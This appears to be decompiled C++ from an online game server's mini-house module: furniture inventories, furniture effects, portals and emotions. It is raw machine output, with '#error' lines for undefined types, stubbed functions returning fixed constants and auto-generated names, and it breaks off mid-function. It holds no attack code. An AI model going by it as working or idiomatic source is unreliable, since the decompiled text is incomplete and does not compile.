ShineObjectClass::ShineMiniHouse::so_mh_GetMemberPlayerRegistNumber(ShineObjectClass::ShineMiniHouse *this, int spc) { return this->smh_Info.EnterPlayerIndex[spc]; } //----- (004EE280) -------------------------------------------------------- #error "4EE280: undefined or illegal type '#325' (funcsize=3)" //----- (004EE290) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetInnerPlayerCount(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.EnterPlayerCount; } //----- (004EE2A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetInnerGMCount(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.EnterGMCount; } //----- (004EE2B0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMaxInnerPlayer(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.MaxPlayer; } //----- (004EE2C0) -------------------------------------------------------- BriefInformationMiniHouse *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetBriefInfo(ShineObjectClass::ShineMiniHouse *this) { return &this->smh_BriefInfo; } //----- (004EE2D0) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_mh_CompulsionMoveTo(int moveto) { return 4545; } //----- (004EE2E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_mh_BuildingMiniHouse(#325 *this, #434 *a2, char *p_MHMapName, char *p_MHTItle, char *p_MHPassWord, int d_MaxEnter, char isItemInfoClose, char *sNotify) { return 1; } //----- (004EE2F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetVisitReadyInfo(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_VISITREADY_ACK *visitready_ack) { visitready_ack->isPublic = this->smh_Info.isPublic; visitready_ack->maxvisiter = this->smh_Info.MaxPlayer - 5; visitready_ack->visitercnt = this->smh_Info.EnterPlayerCount - 5; return 1; } //----- (004EE320) -------------------------------------------------------- #error "4EE320: undefined or illegal type '#325' (funcsize=87)" //----- (004EE420) -------------------------------------------------------- #error "4EE420: undefined or illegal type '#325' (funcsize=27)" //----- (004EE480) -------------------------------------------------------- char *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetTitle(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.Title; } //----- (004EE490) -------------------------------------------------------- ItemBag *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetFurnitureInven(ShineObjectClass::ShineMiniHouse *this, int inventype) { ItemBag *result; // eax@2 switch ( inventype ) { case 3: result = (ItemBag *)&this->smh_Furniture.FurnitureInven; break; case 13: result = (ItemBag *)&this->smh_Furniture.AccessoryInven; break; case 14: result = (ItemBag *)&this->smh_Furniture.TileAllInven; break; case 16: result = (ItemBag *)&this->smh_Furniture.MiniGameInven; break; default: result = 0; break; } return result; } //----- (004EE500) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CanObjAni(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 FurnitureHandle) { signed int v2; // eax@1 char *v3; // esi@1 unsigned int v4; // edx@6 v2 = 0; v3 = (char *)this->smh_FurnitureLastTouchTIme; while ( *(_WORD *)v3 != -1 ) { if ( FurnitureHandle == *(_WORD *)v3 ) { v4 = clockwatch.cw_CurrTick; if ( this->smh_FurnitureLastTouchTIme[v2].LastTouch + 20 >= clockwatch.cw_CurrTick ) return 0; LABEL_7: this->smh_FurnitureLastTouchTIme[v2].LastTouch = v4; return 1; } ++v2; v3 += 8; if ( v2 >= 294 ) break; } if ( v2 != 294 ) { this->smh_FurnitureLastTouchTIme[v2].FurnitureHandle = FurnitureHandle; v4 = clockwatch.cw_CurrTick; goto LABEL_7; } return 0; } //----- (004EE570) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_EffectApply(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nEffectHnd, PROTO_NC_MINIHOUSE_FURNITURE_EFFECT_CMD *pFurnitureEffectCmd) { ShineObjectClass::ShineMiniHouse *v3; // edi@1 unsigned int v4; // ecx@2 void *v5; // eax@5 void *v6; // esi@5 int v7; // eax@6 int v8; // eax@7 unsigned int v10; // eax@10 AbnormalStateDictionary::AbState::AbStateStr *v11; // ebx@11 void *v12; // eax@13 const char *v13; // ebx@14 unsigned __int16 v14; // ax@16 void *v15; // ebp@16 unsigned __int8 v16; // al@18 int v17; // edx@18 int v18; // eax@18 int v19; // edx@19 int v20; // eax@19 void *v21; // esi@19 int v22; // eax@21 unsigned __int8 v23; // al@22 int v24; // ebx@27 __int16 v25; // bx@31 int v26; // eax@34 int v27; // eax@35 int v28; // edx@38 SubAbStateInfo *v29; // eax@38 int v30; // eax@39 AbnormalStateInfo *v31; // ecx@39 int v32; // edx@39 int v33; // edx@40 int v34; // eax@43 int v35; // eax@43 unsigned __int8 v36; // al@44 int v37; // edx@44 int v38; // edx@45 int v39; // eax@45 DebugLogging *v40; // eax@45 DebugLogging *v41; // eax@45 DebugLogging *v42; // eax@45 int v43; // eax@45 int v44; // eax@46 int v45; // edx@50 int v46; // esi@54 int v47; // esi@55 int v48; // eax@58 SubAbStateInfo *v49; // eax@58 int v50; // eax@59 AbnormalStateInfo *v51; // ecx@59 int v52; // edx@59 int v53; // edx@62 int v54; // edx@63 int v55; // eax@63 DebugLogging *v56; // eax@63 DebugLogging *v57; // eax@63 DebugLogging *v58; // eax@63 int v59; // eax@63 int v60; // edx@64 int v61; // edx@64 ORToken v62; // [sp-18h] [bp-B8h]@13 signed int v63; // [sp-14h] [bp-B4h]@38 AbnormalStateDictionary::AbState::AbStateStr *v64; // [sp-10h] [bp-B0h]@38 unsigned int v65; // [sp-Ch] [bp-ACh]@38 NPCManager::LinkInformTemplete *v66; // [sp-8h] [bp-A8h]@38 signed int v67; // [sp-4h] [bp-A4h]@13 int v68; // [sp+0h] [bp-A0h]@13 int v69; // [sp+4h] [bp-9Ch]@13 char *v70; // [sp+8h] [bp-98h]@45 DebugLineFeed *v71; // [sp+Ch] [bp-94h]@45 int i; // [sp+18h] [bp-88h]@18 AbnormalStateDictionary::AbState::AbStateStr *AbstateDic; // [sp+1Ch] [bp-84h]@11 void *pFurnitureEffectTable; // [sp+20h] [bp-80h]@5 unsigned int AbstateIdx; // [sp+24h] [bp-7Ch]@10 SHINE_XY_TYPE LocateXY; // [sp+28h] [bp-78h]@43 ORToken *nPreInnerPlayerCount; // [sp+30h] [bp-70h]@13 NPCManager::LinkInformTemplete MapPotalLinkToPos; // [sp+34h] [bp-6Ch]@14 v3 = this; if ( gMiniHouseObjEffect.m_pHead ) v4 = gMiniHouseObjEffect.m_pHead->nNumOfRecord; else v4 = 0; if ( nEffectHnd >= v4 || (v5 = CDataReader::GetRecord(&gMiniHouseObjEffect, nEffectHnd), v6 = v5, (pFurnitureEffectTable = v5) == 0) ) return 1; v7 = *(_DWORD *)((char *)v5 + 34); if ( v7 ) { v8 = v7 - 1; if ( v8 ) { if ( v8 != 1 ) return 2; goto LABEL_15; } v10 = BTree::operator__(&unk_615CF4, (const char *)v6 + 38); AbstateIdx = v10; if ( v10 != -1 ) { v11 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, (ABSTATEINDEX)v10); AbstateDic = v11; if ( !v11 ) return 2; goto LABEL_16; } return 2; } v69 = 0; v68 = ItemDataBox::idb_2itemid(&itemdatabox, (const char *)v6 + 38); v67 = (signed int)"ItemIdent"; nPreInnerPlayerCount = &v62; ORToken::ORToken(&v62, "RecallPoint"); v12 = OptionReader::or_SelectFrom(&recallpoint, v62, (char *)v67, v68, v69); if ( !v12 ) return 2; v13 = (char *)v12 + 36; MapPotalLinkToPos.coordx = *((_WORD *)v12 + 34); MapPotalLinkToPos.coordy = *((_WORD *)v12 + 35); strncpy(MapPotalLinkToPos.linktoserver, (const char *)v12 + 36, 0x21u); strncpy(MapPotalLinkToPos.linktoclient, v13, 0x21u); LABEL_15: v11 = AbstateDic; LABEL_16: v14 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 132))(v3); v15 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, v14); if ( !v15 ) return 3; v16 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 112))(v3); v17 = *(_DWORD *)&v3->gap0[0]; i = 5 - v16; v18 = (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v17 + 108))(v3); if ( i < (unsigned __int8)v18 ) { while ( 1 ) { v19 = *(_DWORD *)&v3->gap0[0]; v69 = i; v20 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *, int))(v19 + 104))(v3, i); v21 = (void *)v20; if ( v20 ) { if ( (void *)v20 != v15 ) { v22 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v20 + 1220))(v20); if ( (unsigned int)(unsigned __int8)v22 >= *(_DWORD *)((char *)pFurnitureEffectTable + 82) ) { v23 = (*(int (__thiscall **)(void *))(*(_DWORD *)v21 + 1220))(v21); if ( (unsigned int)v23 <= *(_DWORD *)((char *)pFurnitureEffectTable + 86) ) { if ( *(_DWORD *)((char *)pFurnitureEffectTable + 70) == 1 ) goto ApplyAuthorityUser; if ( *(_DWORD *)((char *)pFurnitureEffectTable + 74) || *(_DWORD *)((char *)pFurnitureEffectTable + 78) ) { if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v21 + 1996))(v21) ) { v24 = (*(int (__thiscall **)(void *))(*(_DWORD *)v21 + 1996))(v21); if ( v24 == (*(int (__thiscall **)(void *))(*(_DWORD *)v15 + 1996))(v15) && *(_DWORD *)((char *)pFurnitureEffectTable + 78) == 1 ) { LABEL_33: v11 = AbstateDic; ApplyAuthorityUser: *(&pFurnitureEffectCmd[1].nEffectHandle + pFurnitureEffectCmd->nApplyPlayerCnt++) = *((_WORD *)v21 + 2); v26 = *(_DWORD *)((char *)pFurnitureEffectTable + 34); if ( v26 ) { v27 = v26 - 1; if ( v27 ) { if ( v27 != 1 ) return 2; } else { v28 = *(_DWORD *)v21; v69 = 0; v68 = 0; v67 = -1; v66 = 0; v65 = clockwatch.cw_CurrTick; v64 = v11; v63 = 1; *(_DWORD *)&v62.ort_Name[0] = AbstateIdx; (*(void (__thiscall **)(void *, void *, unsigned int, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, _DWORD, _DWORD))(v28 + 1528))( v21, v21, AbstateIdx, 1, v11, clockwatch.cw_CurrTick, 0, -1, 0, 0); v69 = v11->index->AbStataIndex; ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v21, v69); v29 = v11->subabstate[1].assa_info; if ( v29 ) { v30 = v29->KeepTime; v31 = v11->index; v32 = *(_DWORD *)v21; v69 = 1; v68 = v30; v67 = v31->AbStataIndex; (*(void (__thiscall **)(void *, signed int, int, signed int))(v32 + 992))(v21, v67, v30, 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v21, v11->index->AbStataIndex, v11->subabstate[1].assa_info->KeepTime, 1); } } } else { v33 = *(_DWORD *)v21; v69 = 1; if ( (unsigned __int8)(*(int (__thiscall **)(void *, signed int))(v33 + 368))(v21, 1) != 1 || (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 672))(v3) != 2 && (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 672))(v3) != 3 ) { v36 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 108))(v3); v37 = *(_DWORD *)v21; v69 = 10; v68 = 9; v67 = 6; nPreInnerPlayerCount = (ORToken *)v36; v66 = &MapPotalLinkToPos; if ( (unsigned __int8)(*(int (__thiscall **)(void *, NPCManager::LinkInformTemplete *, signed int, signed int, signed int))(v37 + 1472))( v21, &MapPotalLinkToPos, 6, 9, 10) ) { v44 = (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 108))(v3); if ( nPreInnerPlayerCount != (ORToken *)(unsigned __int8)v44 && i >= 5 ) --i; } else { v38 = *(_DWORD *)v21; v69 = (int)&deb_LF; v68 = (int)"] cannot out minihouse"; v39 = (*(int (__thiscall **)(void *, _DWORD, DebugLineFeed *))(v38 + 1664))( v21, "] cannot out minihouse", &deb_LF); v69 = (int)NameString::operator__(&namestring, (Name4 *)(v39 + 2)); v40 = DebugLogging::operator<<( &InnerMiniHouseLog, "ShineObjectClass::ShineMiniHouse::so_mh_EffectApply : player ["); v41 = DebugLogging::operator<<(v40, (char *)v69); v42 = DebugLogging::operator<<(v41, v70); DebugLogging::operator<<(v42, v71); v43 = *(_DWORD *)v21; v71 = 0; v70 = 0; v69 = 1669; (*(void (__thiscall **)(void *, signed int))(v43 + 1464))(v21, 1669); } } else { v34 = *(_DWORD *)v21; v69 = 1; (*(void (__thiscall **)(void *, signed int))(v34 + 400))(v21, 1); v35 = *(_DWORD *)v21; LocateXY.x = MapPotalLinkToPos.coordx; LocateXY.y = MapPotalLinkToPos.coordy; v69 = (int)&LocateXY; v68 = (int)MapPotalLinkToPos.linktoserver; (*(void (__thiscall **)(void *, char *, SHINE_XY_TYPE *))(v35 + 404))( v21, MapPotalLinkToPos.linktoserver, &LocateXY); } } goto LABEL_50; } v11 = AbstateDic; } if ( (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v21 + 1336))(v21) != -1 ) { v25 = (*(int (__thiscall **)(void *))(*(_DWORD *)v21 + 1336))(v21); if ( v25 == (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v15 + 1336))(v15) && *(_DWORD *)((char *)pFurnitureEffectTable + 74) == 1 ) goto LABEL_33; v11 = AbstateDic; } } } } } } LABEL_50: v45 = *(_DWORD *)&v3->gap0[0]; ++i; if ( i >= (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v45 + 108))(v3) ) { v6 = pFurnitureEffectTable; break; } } } if ( (unsigned int)(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v15 + 1220))(v15) >= *(_DWORD *)((char *)v6 + 82) && (unsigned int)(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v15 + 1220))(v15) <= *(_DWORD *)((char *)v6 + 86) ) { *(&pFurnitureEffectCmd[1].nEffectHandle + pFurnitureEffectCmd->nApplyPlayerCnt++) = *((_WORD *)v15 + 2); v46 = *(_DWORD *)((char *)v6 + 34); if ( v46 ) { v47 = v46 - 1; if ( v47 ) { if ( v47 != 1 ) return 2; } else { v48 = *(_DWORD *)v15; v69 = 0; v68 = 0; v67 = -1; v66 = 0; v65 = clockwatch.cw_CurrTick; v64 = v11; v63 = 1; *(_DWORD *)&v62.ort_Name[0] = AbstateIdx; (*(void (__thiscall **)(void *, void *, unsigned int, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, _DWORD, _DWORD))(v48 + 1528))( v15, v15, AbstateIdx, 1, v11, clockwatch.cw_CurrTick, 0, -1, 0, 0); v69 = v11->index->AbStataIndex; ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v15, v69); v49 = v11->subabstate[1].assa_info; if ( v49 ) { v50 = v49->KeepTime; v51 = v11->index; v52 = *(_DWORD *)v15; v69 = 1; v68 = v50; v67 = v51->AbStataIndex; (*(void (__thiscall **)(void *, signed int, int, signed int))(v52 + 992))(v15, v67, v50, 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v15, v11->index->AbStataIndex, v11->subabstate[1].assa_info->KeepTime, 1); return 0; } } } else { if ( (*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 672))(v3) == 2 || (*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 672))(v3) == 3 ) { v60 = *(_DWORD *)&v3->gap0[0]; v69 = 1; (*(void (__thiscall **)(ShineObjectClass::ShineMiniHouse *, signed int))(v60 + 512))(v3, 1); v61 = *(_DWORD *)v15; LocateXY.x = MapPotalLinkToPos.coordx; LocateXY.y = MapPotalLinkToPos.coordy; v69 = (int)&LocateXY; v68 = (int)MapPotalLinkToPos.linktoserver; (*(void (__thiscall **)(void *, char *, SHINE_XY_TYPE *))(v61 + 404))( v15, MapPotalLinkToPos.linktoserver, &LocateXY); } else { v53 = *(_DWORD *)v15; v69 = 10; v68 = 9; v67 = 6; v66 = &MapPotalLinkToPos; if ( !(unsigned __int8)(*(int (__thiscall **)(void *, NPCManager::LinkInformTemplete *, signed int, signed int, signed int))(v53 + 1472))( v15, &MapPotalLinkToPos, 6, 9, 10) ) { v54 = *(_DWORD *)v15; v69 = (int)&deb_LF; v68 = (int)"] cannot out minihouse"; v55 = (*(int (__thiscall **)(void *, _DWORD, DebugLineFeed *))(v54 + 1664))( v15, "] cannot out minihouse", &deb_LF); v69 = (int)NameString::operator__(&namestring, (Name4 *)(v55 + 2)); v56 = DebugLogging::operator<<( &InnerMiniHouseLog, "ShineObjectClass::ShineMiniHouse::so_mh_EffectApply : player ["); v57 = DebugLogging::operator<<(v56, (char *)v69); v58 = DebugLogging::operator<<(v57, v70); DebugLogging::operator<<(v58, v71); v59 = *(_DWORD *)v15; v71 = 0; v70 = 0; v69 = 1669; (*(void (__thiscall **)(void *, signed int))(v59 + 1464))(v15, 1669); return 0; } } } } return 0; } //----- (004EEB80) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DeActivePortal(ShineObjectClass::ShineMiniHouse *this) { this->smh_PortalList.isActivePortal = 0; this->smh_PortalList.PortalDeActiveTime = 0; return 1; } //----- (004EEBA0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalEffect(ShineObjectClass::ShineMiniHouse *this) { __int16 v1; // bp@1 void *result; // eax@2 unsigned int v3; // ebx@4 unsigned int v4; // edi@6 void *v5; // eax@7 void *v6; // esi@7 unsigned int v7; // eax@8 v1 = (*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 288))(); if ( v1 == -1 ) { result = 0; } else { if ( gMiniHouseObjEffect.m_pHead ) v3 = gMiniHouseObjEffect.m_pHead->nNumOfRecord; else v3 = 0; v4 = 0; if ( v3 ) { while ( 1 ) { v5 = CDataReader::GetRecord(&gMiniHouseObjEffect, v4); v6 = v5; if ( v5 ) { v7 = BTree::operator__(&stru_125739F0, (const char *)v5 + 2); if ( v7 != -1 ) { if ( (_WORD)v7 != -1 && (_WORD)v7 == v1 ) break; } } ++v4; if ( v4 >= v3 ) goto LABEL_12; } result = v6; } else { LABEL_12: result = 0; } } return result; } //----- (004EEC20) -------------------------------------------------------- #error "4EEC20: undefined or illegal type '#325' (funcsize=371)" //----- (004EF0E0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_CanFurnitureEmotion(#325 *this, #325 *a2, PROTO_NC_MINIHOUSE_FURNITURE_EMOTION_REQ *pReq) { return 5897; } //----- (004EF0F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsFurnitureEmotion(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nFurnitureHnd, char nPosition) { ShineObjectClass::ShineMiniHouse *v3; // esi@1 int v4; // ebx@1 int v5; // edi@1 int v6; // eax@2 char result; // al@5 v3 = this; v4 = (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 108))(); v5 = 5 - (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 112))(v3); if ( v5 >= v4 ) { LABEL_5: result = 1; } else { while ( 1 ) { v6 = (*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)&v3->gap0[0] + 104))(v3, v5); if ( v6 ) { if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 696))( v6, nFurnitureHnd, nPosition) == 1 ) break; } ++v5; if ( v5 >= v4 ) goto LABEL_5; } result = 0; } return result; } //----- (004EF150) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_FurnitureEmotionStop(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nFurnitureHnd, #325 *owner) { char *v3; // esi@1 ShineObjectClass::ShineMiniHouse *v4; // edi@1 int v5; // ebp@1 int v6; // ebx@1 int v7; // eax@3 int v8; // esi@3 int v10; // [sp+8h] [bp-24h]@2 int nInnerPlayerCount; // [sp+Ch] [bp-20h]@1 char *nc; // [sp+10h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@8 int v14; // [sp+28h] [bp-4h]@8 v3 = gpp.pp_Buffer; v4 = this; *(_WORD *)gpp.pp_Buffer = -29593; nc = v3; v5 = 0; nInnerPlayerCount = (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 108))(); v6 = 5 - (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v4->gap0[0] + 112))(v4); if ( v6 < nInnerPlayerCount ) { v10 = (int)(v3 + 4); do { v7 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *, int))(*(_DWORD *)&v4->gap0[0] + 104))(v4, v6); v8 = v7; if ( v7 && (unsigned __int8)(*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v7 + 692))(v7, nFurnitureHnd) == 1 ) { *(_WORD *)v10 = *(_WORD *)(v8 + 4); (*(void (__thiscall **)(int))(*(_DWORD *)v8 + 688))(v8); ++v5; v10 += 2; } ++v6; } while ( v6 < nInnerPlayerCount ); if ( v5 > 0 ) { *((_WORD *)nc + 1) = v5; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 2 * (unsigned __int16)v5 + 4); v14 = 0; ShineObjectClass::ShineObject::so_AllInMap((void *)owner, (int)&alchat, 1); v14 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } return 1; } //----- (004EF260) -------------------------------------------------------- #error "4EF260: undefined or illegal type '#325' (funcsize=98)" //----- (004EF380) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid) { int v2; // edx@1 int v3; // eax@1 CIDEB_Element *v4; // esi@2 CIDEB_Element *v5; // ecx@2 CIDEB_Element *result; // eax@5 v2 = this->cideb_Total; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this->cideb_Array; v5 = this->cideb_Array; while ( v5->ce_ItemID != itemid ) { ++v3; ++v5; if ( v3 >= v2 ) goto LABEL_5; } result = &v4[v3]; } return result; } //----- (004EF3C0) -------------------------------------------------------- MiniHouseEndure *__thiscall MiniHouseEndureDataBox::operator__(MiniHouseEndureDataBox *this, unsigned __int16 sub) { CDataReader::HEAD *v2; // edx@2 char *v3; // ecx@2 MiniHouseEndure *result; // eax@3 if ( sub >= this->mhe_Number ) { result = this->mhe_default; } else { v2 = this->mhe_BinData.baseclass_0.baseclass_0.m_pHead; v3 = (char *)&this->mhe_BinData; if ( sub < v2->nNumOfRecord ) result = (MiniHouseEndure *)CDataReader::GetRecord((CDataReader *)v3, sub); else result = (MiniHouseEndure *)(v3 + 60); } return result; } //----- (004EF3F0) -------------------------------------------------------- #error "4EF3F0: undefined or illegal type '#325' (funcsize=110)" //----- (004EF560) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_CHAR_ITEM_CMD *ItemCmd, int inventype) { ShineObjectClass::ShineMiniHouse *v3; // esi@1 int v4; // ebp@1 int v5; // edi@2 PROTO_NC_CHAR_ITEM_CMD *v6; // ebx@6 unsigned __int16 v7; // ax@9 int v8; // ebx@9 int v9; // ST04_4@10 DebugLogging *v10; // eax@10 DebugLogging *v11; // eax@10 ChargedEffectContainer *v12; // eax@11 int v13; // eax@13 int v14; // ebx@13 int v15; // edi@14 __int16 v16; // bp@15 int v17; // eax@15 CIDEB_Element *v18; // eax@22 CIDEB_Element *v19; // ebp@22 ShineDateTime *v20; // eax@24 MiniHouseFurniture *v21; // ebp@28 int v22; // edx@36 char *v24; // [sp+4h] [bp-3Ch]@10 FunctionEntarance _; // [sp+18h] [bp-28h]@1 int nEndureGrade; // [sp+1Ch] [bp-24h]@24 int v27; // [sp+20h] [bp-20h]@9 ItemBoxIterItem ibii; // [sp+24h] [bp-1Ch]@11 int v29; // [sp+3Ch] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = inventype; v29 = 0; switch ( inventype ) { case 3: v5 = (int)&v3->smh_Furniture.FurnitureInven; goto LABEL_6; case 13: v5 = (int)&v3->smh_Furniture.AccessoryInven; goto LABEL_6; case 14: v5 = (int)&v3->smh_Furniture.TileAllInven; goto LABEL_6; case 16: v5 = (int)&v3->smh_Furniture.MiniGameInven; LABEL_6: v6 = ItemCmd; if ( ItemCmd->nPartMark & 1 ) ItemBag::ib_clear((ItemBag *)v5); ItemBag::ib_Initializetotal((ItemBag *)v5, &v6->ItemCmd.numofitem, (PROTO_ITEMPACKET_TOTAL *)&v6[1], v4); if ( !(v6->nPartMark & 2) ) goto LABEL_37; v7 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 132))(v3); v8 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v7); v27 = v8; if ( !v8 ) { v9 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 128))(v3); v10 = DebugLogging::operator<<(&InnerMiniHouseLog, "cannot find player regnum["); v11 = DebugLogging::operator<<(v10, v9); DebugLogging::operator<<(v11, &deb_LF); v29 = -1; v24 = "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"; LABEL_40: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v24); return 0; } v12 = (ChargedEffectContainer *)(*(int (__thiscall **)(int))(*(_DWORD *)v8 + 1156))(v8); ItemBoxIterItem::ItemBoxIterItem(&ibii, (ItemBag *)v5, v12); LOBYTE(v29) = 1; ibii.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ibii.baseclass_0.vfptr->ibi_isvalid(&ibii) || ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) { do { v13 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); v14 = v13; if ( v13 ) { v15 = *(_DWORD *)(v13 + 112); if ( v15 ) { (*(void (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v15 + 116))( v15, v13, v3->smh_Furniture.FurnitureHandle++); v16 = *(_WORD *)(v14 + 8); MoveManager::MoveManager((DiceTaiSai *)&ItemCmd); LOBYTE(v29) = 2; v17 = -1; while ( v17 >= -1 ) { ++v17; ItemCmd = (PROTO_NC_CHAR_ITEM_CMD *)v17; if ( v17 >= minihousefurnituredatabox.cideb_Total ) break; if ( minihousefurnituredatabox.cideb_Array[v17].ce_ItemID == v16 ) goto LABEL_21; } ItemCmd = (PROTO_NC_CHAR_ITEM_CMD *)-10; LABEL_21: if ( ChargedItemEffectFinger::cief_GetFinger((ORErrorMessage *)&ItemCmd) != minihousefurnituredatabox.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v18 = ChargedItemEffectDataBox::cideb_GetIndex( &minihousefurnituredatabox, (ChargedItemEffectFinger *)&ItemCmd); v19 = v18; if ( v18 ) { if ( v18->ce_Data ) { v20 = (ShineDateTime *)(*(int (__thiscall **)(int, int))(*(_DWORD *)v15 + 120))(v15, v14 + 8); if ( MiniHouseEndureDataBox::mhe_CalEndureGrade( &minihouseenduredatabox, v19->ce_Data->KeepTime_Endure, v20, (MHE_STEP *)&nEndureGrade) ) (*(void (__thiscall **)(int, int, int))(*(_DWORD *)v15 + 132))(v15, v14, nEndureGrade); } } if ( inventype == 16 ) { if ( v19 ) { v21 = v19->ce_Data; if ( v21 ) { if ( v21->GameType == 1 && *(_BYTE *)(v14 + 10) & 1 && ((unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 532))(v3) == 1 || !(unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *, int))(*(_DWORD *)&v3->gap0[0] + 448))( v3, v14)) ) { LOBYTE(v29) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ItemCmd); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v29 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } } } } } LOBYTE(v29) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ItemCmd); } } } while ( ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ); v8 = v27; } v22 = *(_DWORD *)&v3->gap0[0]; ++v3->smh_Info.CanEnter; (*(void (__thiscall 